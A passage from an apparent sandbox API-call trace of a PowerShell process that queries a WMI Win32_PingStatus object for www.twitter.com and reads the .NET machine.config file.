wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351b2c*=0, plFlavor=0x2351b30*=0 | out: pVal=0x5bde4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dcc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85090, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2351b2c*=8200, plFlavor=0x2351b30*=64) returned 0x0 [0156.893] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351b2c*=8200, plFlavor=0x2351b30*=64 | out: pVal=0x5bde4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85090, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2351b2c*=8200, plFlavor=0x2351b30*=64) returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde500 | out: puCount=0x5bde500*=0x2) returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4fc*=0xf, pszText=0x0) returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde500 | out: puCount=0x5bde500*=0x2) returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4fc*=0xf, pszText=0x0) returned 0x0 [0156.894] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.894] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde508*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde4fc | out: pNames=0x5bde4fc*="\x01ƀ\x04") returned 0x0 [0156.894] SafeArrayGetDim (psa=0x5f6dcf8) returned 0x1 [0156.894] SafeArrayGetDim (psa=0x5f6dcf8) returned 0x1 [0156.894] SafeArrayGetLBound (in: psa=0x5f6dcf8, nDim=0x1, plLbound=0x5bde394 | out: plLbound=0x5bde394) returned 0x0 [0156.894] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.894] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.894] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.894] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.894] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.894] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.895] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.895] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.895] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.895] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.895] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.895] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.895] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.895] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.895] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.895] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.895] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.895] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.895] SysStringByteLen (bstr="__PATH") returned 0xc [0156.895] SysStringByteLen (bstr="__PATH") returned 0xc [0156.896] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352368*=0, plFlavor=0x235236c*=0 | out: pVal=0x5bde4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2352368*=3, plFlavor=0x235236c*=64) returned 0x0 [0156.896] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x235239c*=0, plFlavor=0x23523a0*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x235239c*=8, plFlavor=0x23523a0*=64) returned 0x0 [0156.896] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.896] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.896] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23523f4*=0, plFlavor=0x23523f8*=0 | out: pVal=0x5bde4f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23523f4*=8, plFlavor=0x23523f8*=64) returned 0x0 [0156.896] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x235241c*=0, plFlavor=0x2352420*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x235241c*=8, plFlavor=0x2352420*=64) returned 0x0 [0156.896] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.896] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.896] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352474*=0, plFlavor=0x2352478*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2352474*=8, plFlavor=0x2352478*=64) returned 0x0 [0156.897] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.897] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.897] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352650*=0, plFlavor=0x2352654*=0 | out: pVal=0x5bde4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2352650*=3, plFlavor=0x2352654*=64) returned 0x0 [0156.897] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352684*=0, plFlavor=0x2352688*=0 | out: pVal=0x5bde4f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dd28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85090, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2352684*=8200, plFlavor=0x2352688*=64) returned 0x0 [0156.897] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23526b8*=0, plFlavor=0x23526bc*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23526b8*=8, plFlavor=0x23526bc*=64) returned 0x0 [0156.897] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.898] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.898] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352704*=0, plFlavor=0x2352708*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2352704*=8, plFlavor=0x2352708*=64) returned 0x0 [0156.898] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.898] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.898] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352750*=0, plFlavor=0x2352754*=0 | out: pVal=0x5bde4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2352750*=8, plFlavor=0x2352754*=64) returned 0x0 [0156.898] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.898] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.898] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0156.898] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0156.898] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.899] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="address", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352988*=0, plFlavor=0x235298c*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2352988*=8, plFlavor=0x235298c*=0) returned 0x0 [0156.899] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.899] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.899] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2352988*=8, plFlavor=0x235298c*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2352988*=8, plFlavor=0x235298c*=0) returned 0x0 [0156.899] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.899] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0157.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5bddf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0157.035] CoTaskMemAlloc (cb=0x20c) returned 0x5f87808 [0157.035] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5f87808, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0157.035] CoTaskMemFree (pv=0x5f87808) [0157.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0157.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0157.045] GetCurrentProcess () returned 0xffffffff [0157.045] GetCurrentProcess () returned 0xffffffff [0157.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde260, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde260*=0x510) returned 1 [0157.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0157.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0157.049] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5bde290 | out: lpFileInformation=0x5bde290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0157.050] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0157.050] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0157.051] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5bde298 | out: lpFileInformation=0x5bde298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0157.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0157.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0157.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde1d0) returned 1 [0157.052] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x514 [0157.052] GetFileType (hFile=0x514) returned 0x1 [0157.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde1cc) returned 1 [0157.052] GetFileType (hFile=0x514) returned 0x1 [0157.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0157.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0157.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0157.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0157.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd7ac) returned 1 [0157.070] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5bdda70 | out: lpFileInformation=0x5bdda70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0157.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd7a8) returned 1 [0157.210] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x5bdd93c | out: pfEnabled=0x5bdd93c) returned 0x0 [0157.220] GetFileSize (in: hFile=0x514, lpFileSizeHigh=0x5bde28c | out: lpFileSizeHigh=0x5bde28c*=0x0) returned 0x8c8e [0157.220] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde248, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bde248*=0x1000, lpOverlapped=0x0) returned 1 [0157.298] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde0f8, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bde0f8*=0x1000, lpOverlapped=0x0) returned 1 [0157.300] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddfac, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddfac*=0x1000, lpOverlapped=0x0) returned 1 [0157.301] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddfac, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddfac*=0x1000, lpOverlapped=0x0) returned 1 [0157.302] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddfac, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddfac*=0x1000, lpOverlapped=0x0) returned 1 [0157.302] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddee4, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddee4*=0x1000, lpOverlapped=0x0) returned 1 [0157.307] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde050, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bde050*=0x1000, lpOverlapped=0x0) returned 1 [0157.309] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddf44, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddf44*=0x1000, lpOverlapped=0x0) returned 1 [0157.309] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddf44, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bddf44*=0xc8e, lpOverlapped=0x0) returned 1 [0157.309] ReadFile (in: hFile=0x514, lpBuffer=0x238510c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde008, lpOverlapped=0x0 | out: lpBuffer=0x238510c*, lpNumberOfBytesRead=0x5bde008*=0x0, lpOverlapped=0x0) returned 1 [0157.309] CloseHandle (hObject=0x514) returned 1 [0157.310] CloseHandle (hObject=0x50c) returned 1 [0157.310] CloseHandle (hObject=0x510) returned 1 [0157.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5bddf5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0157.311] CoTaskMemAlloc (cb=0x20c) returned 0x5f87c10 [0157.311] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5f87c10, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0157.311] CoTaskMemFree (pv=0x5f87c10) [0157.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0157.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0157.312] GetCurrentProcess () returned 0xffffffff [0157.312] GetCurrentProcess () returned 0xffffffff [0157.312] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde3ac*=0x50c) returned 1 [0157.313] CloseHandle (hObject=0x510) returned 1 [0157.313] CloseHandle (hObject=0x50c) returned 1 [0157.314] GetCurrentProcess () returned 0xffffffff [0157.314] GetCurrentProcess () returned 0xffffffff [0157.314] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde3ac*=0x510) returned 1 [0157.314] CloseHandle (hObject=0x50c) returned 1 [0157.315] CloseHandle (hObject=0x510) returned 1 [0157.316] GetCurrentProcess () returned 0xffffffff [0157.316] GetCurrentProcess () returned 0xffffffff [0157.317] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde260, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde260*=0x50c) returned 1 [0157.317] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5bde290 | out: lpFileInformation=0x5bde290*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.317] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0157.317] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0157.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5bde298 | out: lpFileInformation=0x5bde298*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.318] CloseHandle (hObject=0x510) returned 1 